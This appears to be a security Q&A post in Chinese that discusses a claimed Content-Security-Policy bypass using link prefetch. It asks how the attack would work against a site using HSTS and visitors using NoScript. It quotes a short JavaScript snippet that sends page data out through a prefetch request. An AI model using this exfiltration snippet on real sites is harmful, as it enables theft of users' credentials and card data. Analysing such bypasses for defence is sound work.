我正在从您的网站收集信用卡号和密码的文章。就是这样。描述了攻击者可以绕过严格的 CSP 并泄露敏感信息的理论攻击阶段。文章声称这个脚本可以绕过 CSP:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
这利用prefetch
了 CSP 标准中的行为未指定这一事实。在 Chrome 中,这是可行的,但 Firefox 目前阻止了这种情况的发生(考虑到错误报告中的用户投诉,这可能会改变)。该文章声称即使使用最严格的安全策略,这也适用:
Content-Security-Policy: default-src 'none'; script-src 'self'
这是真的,因为目前没有回退行为prefetch
。然而,没有解决的问题是攻击者的代码仍然必须以某种方式注入(离线)。文章“使用 DNS 预取绕过 Content-Security-Policy”表明这是通过在其他地方找到 XSS 漏洞来完成的。
假设目标网站使用 HSTS,并且访问该网站的用户使用 NoScript,那么这样的攻击向量会是什么样子?